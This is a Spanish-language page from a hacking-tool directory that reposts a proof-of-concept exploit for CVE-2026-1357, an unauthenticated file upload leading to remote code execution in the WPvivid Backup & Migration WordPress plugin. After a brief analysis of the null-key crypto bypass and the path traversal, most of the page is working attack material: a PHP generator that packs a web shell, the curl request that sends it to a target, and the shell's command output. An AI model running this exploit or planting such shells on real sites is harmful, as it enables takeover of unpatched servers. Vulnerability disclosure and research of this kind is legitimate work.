Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
POC-CVE-2026-1357 — Exploit de prueba de concepto para CVE-2026-1357, una subida de archivos arbitraria sin autenticación que conduce a RCE en el plugin WPvivid Backup & Migration, con generador de exploits e instrucciones de ejecución. | Kitploit
Herramientas/GitHubGitHub/lucasm0ntes/poc-cve-2026-1357
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de Penetración
GitHublucasm0ntes/poc-cve-2026-1357

POC-CVE-2026-1357

Exploit de prueba de concepto para CVE-2026-1357, una subida de archivos arbitraria sin autenticación que conduce a RCE en el plugin WPvivid Backup & Migration, con generador de exploits e instrucciones de ejecución.

Ver Repositorio
1643hace 7 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-1357 WPvivid Backup & Migration RCE PoC

Descubierto por: Lucas Montes (NiRoX)
Vulnerabilidad: Subida de archivos arbitraria sin autenticación que conduce a Ejecución Remota de Código (RCE)
ID CVE: CVE-2026-1357
CVSS: Crítico (9.8)
Estado: Parcheado en la versión 0.9.124


Resumen

Este repositorio contiene el análisis y la Prueba de Concepto (PoC) para una vulnerabilidad crítica en el plugin de WordPress WPvivid Backup & Migration (versiones <= 0.9.123).

La vulnerabilidad permite a un atacante no autenticado subir archivos arbitrarios (como shells PHP) al servidor, lo que conduce a una Ejecución Remota de Código (RCE) inmediata. Esto se debe a una falla lógica en el manejo de errores criptográficos (Fail-Open) combinada con una vulnerabilidad de Path Traversal.

Análisis Técnico

La vulnerabilidad reside en la forma en que el plugin maneja las solicitudes de transferencia de copias de seguridad remotas a través del hook wpvivid_action=send_to_site. La cadena de explotación consiste en dos fallos distintos que trabajan juntos:

1. Fail-Open Criptográfico (El Bypass)

Cuando el plugin recibe una solicitud de transferencia, intenta descifrar la clave de sesión proporcionada usando openssl_private_decrypt().

  • El Fallo: Si se proporciona una clave RSA malformada o falsa, la función devuelve false. La lógica del plugin no verifica este valor booleano de retorno y procede a pasar false a la librería phpseclib para inicializar el cifrado AES.
  • El Resultado: En la versión vulnerable de phpseclib, una clave false o vacía se trata como una cadena de bytes nulos (\0\0...). Esto permite a un atacante cifrar una carga maliciosa usando una clave nula de 128 bits, evitando la necesidad de la clave privada real.

2. Path Traversal (El RCE)

Una vez que la carga es "descifrada" exitosamente usando la clave nula, el plugin procesa el contenido JSON.

  • El Fallo: El parámetro name dentro de la carga JSON no está saneado.
  • El Resultado: Un atacante puede usar caracteres de traversal de directorio (../) para escapar del directorio de copias de seguridad restringido del plugin (normalmente protegido por .htaccess) y escribir un archivo PHP malicioso en el directorio público wp-content/uploads/.

Restricciones:

  • Nota: Como se aclaró en la divulgación, esta vulnerabilidad solo es explotable si se ha generado una "Clave" en la configuración del plugin y aún no ha expirado. Una vez que wpvivid_api_token expira, la ruta de código vulnerable permite que la solicitud falle silenciosamente.

Prueba de Concepto (PoC)

Requisitos Previos

El exploit depende del comportamiento de phpseclib (v1). Para ejecutar el generador localmente, necesitas los archivos de la librería:

root@kitploit:~
mkdir -p phpseclib/Crypt
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Rijndael.php -O phpseclib/Crypt/Rijndael.php
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Base.php -O phpseclib/Crypt/Base.php

Generador del Exploit (exploit.php)

Este script crea una carga cifrada con una Clave Nula e incluye el path traversal para subir un shell.

root@kitploit:~
<?php
// exploit.php - Escrito por Lucas Montes (NiRoX)
require_once(__DIR__ . '/phpseclib/Crypt/Rijndael.php');

// 1. Inicializar Rijndael (AES) 
$rij = new Crypt_Rijndael();
$rij->setBlockLength(128); 

// 2. REPRODUCCIÓN DE LA VULNERABILIDAD
// El servidor usa por defecto una clave nula cuando falla el descifrado RSA (devuelve false).
// Configuramos nuestra clave local a 16 bytes nulos para coincidir con el estado vulnerable del servidor.
$rij->setKey(str_repeat("\0", 16));

// 3. La Carga
$shell_content = '<?php system($_GET["cmd"]); ?>';

// 4. El Objeto JSON con Path Traversal
// Subimos hasta /uploads/ para evitar las restricciones de .htaccess
$params = [
    "backup_id" => "1",
    "name" => "../uploads/pwn_remote.php", 
    "data" => base64_encode($shell_content),
    "offset" => 0,
    "file_size" => strlen($shell_content),
    "total_size" => strlen($shell_content),
    "index" => 0,
    "md5" => md5($shell_content),
    "type" => "backup",
    "status" => "running"
];

// 5. Cifrar con Clave Nula
$encrypted = $rij->encrypt(json_encode($params));

// 6. Construir el Paquete
// "ABC" es la clave RSA falsa que provoca el retorno 'false' en el servidor
$fake_key = "ABC"; 
$payload = str_pad(dechex(strlen($fake_key)), 3, "0", STR_PAD_LEFT) 
         . $fake_key 
         . str_pad(dechex(strlen($encrypted)), 16, "0", STR_PAD_LEFT) 
         . $encrypted;

echo base64_encode($payload);
?>

Ejecutando el Ataque

  1. Generar la Carga:
root@kitploit:~
PAYLOAD=$(php exploit.php)

  1. Enviar la Solicitud:
root@kitploit:~
curl -i -s -X POST 'http://TARGET-URL/' \
  -d 'wpvivid_action=send_to_site' \
  --data-urlencode "wpvivid_content=$PAYLOAD"

  1. Verificar el RCE: Si tiene éxito, el shell será accesible en:
root@kitploit:~
http://TARGET-URL/wp-content/uploads/pwn_remote.php?cmd=id

Resultado:

root@kitploit:~
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Descargar herramienta